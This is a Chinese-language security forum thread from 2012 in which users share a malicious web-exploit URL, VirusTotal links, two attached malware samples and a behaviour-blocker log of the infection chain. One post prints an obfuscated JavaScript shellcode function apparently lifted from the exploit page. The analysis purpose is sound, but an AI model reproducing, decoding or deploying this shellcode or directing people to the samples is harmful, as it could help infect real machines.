http://loadingatthemonent.net/ngen/controlling/thirdpartyone.php

firefox3

https://www.virustotal.com/file/ ... nalysis/1355758433/

https://www.virustotal.com/file/ ... nalysis/1355758441/



样本：

wgsdgsdgdsgsd.zip (149.03 KB, 下载次数: 8)

2012-12-17 23:34 上传

点击文件名下载附件

awt43abr.zip (105.7 KB, 下载次数: 24)

2012-12-17 23:34 上传

点击文件名下载附件



拦截记录：

2012-12-17 23:29:38         C:\Program Files\Internet Explorer\iexplore.exe         创建进程         C:\Documents and Settings\Administrator\wgsdgsdgdsgsd.exe
2012-12-17 23:29:49         C:\Program Files\Internet Explorer\iexplore.exe         创建进程         C:\Documents and Settings\Administrator\wgsdgsdgdsgsd.exe
2012-12-17 23:30:00         C:\Program Files\Internet Explorer\iexplore.exe         创建进程         C:\Documents and Settings\Administrator\awt43abr.exe
2012-12-17 23:30:16         C:\Documents and Settings\Administrator\wgsdgsdgdsgsd.exe         创建进程         C:\WINDOWS\system32\cmd.exe
2012-12-17 23:30:19         C:\Program Files\Internet Explorer\iexplore.exe         创建进程         C:\Documents and Settings\Administrator\awt43abr.exe
2012-12-17 23:30:21         C:\Documents and Settings\Administrator\awt43abr.exe         修改文件         \Device\NPF_NdisWanIp
2012-12-17 23:30:27         C:\Documents and Settings\Administrator\wgsdgsdgdsgsd.exe         修改文件         C:\Documents and Settings\Administrator\wgsdgsdgdsgsd.exe
2012-12-17 23:30:38         C:\Documents and Settings\Administrator\awt43abr.exe         修改文件         \Device\NPF_NdisWanIp
报告结束

wjhstu-VxG

1. function getShellCode(){var a="8282!%5115!%85d4!%95e0!%c551!%e085!%9134!%d451!%14e0!%2191!%a1e5!%7421!%2191!%a1e5!%7421!%2191!%9164!%0421!%2191!%b1a1!%7421!%2191!%b191!%d451!%e0a4!%b1a1!%6421!%2191!%9124!%f421!%2191!%9154!%e451!%7154!%0485!%6085!%64d4!%1574!%a5c5!%8594!%a5c4!%0414!%70c5!%64f4!%4414!%7444!%c5a5!%7464!%70b4!%d464!%64f4!%c570!%64d4!%c560!%d464!%7464!%d454!%c504!%94c5!%64f4!%c414!%7494!%7044!%2170!%c585!%04c5!%3482!%c551!%e0d4!%5124!%05d5!%34e0!%5191!%e094!%9134!%9121!%21b1!%9104!%a121!%21b1!%a1f5!%3421!%2191!%b191!%2421!%2191!%b1a1!%f421!%5191!%25d4!%a1e0!%21b1!%9164!%2421!%2191!%91f4!%5421!%5191!%c4e4!%8571!%8504!%d460!%7464!%c515!%94a5!%c485!%14a5!%c504!%f470!%1464!%4444!%a574!%64c5!%b474!%6470!%f4d4!%7064!%d4c5!%6064!%64c5!%64d4!%5474!%04d4!%c5c5!%f494!%1464!%94c4!%4474!%7070!%8521!%c5c5!%8504!%2370!%15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%6d7d!%8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%c281!%2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%423a!%7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%fec6!%f4b5!%a5d4!%c2c0!%42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%4454!%d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%8604!%8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%42b1!%8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%4236!%e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%deb1!%58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%ccd5!%c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%b13f!%e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%042e!%0382!%df08!%9e87!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split("").reverse().join("");return a["replace"](/\%!/g,"%"+"u")}

复制代码

笔记，表示正在努力学js

firefox3

wjhstu-VxG 发表于 2012-12-18 12:44
笔记，表示正在努力学js

给钱！！

wjhstu-VxG

firefox3 发表于 2012-12-18 12:47
给钱！！

你妹，我解不出，怎么给？

firefox3

wjhstu-VxG 发表于 2012-12-18 15:21
你妹，我解不出，怎么给？

那是你的事，和我一毛钱关系都木有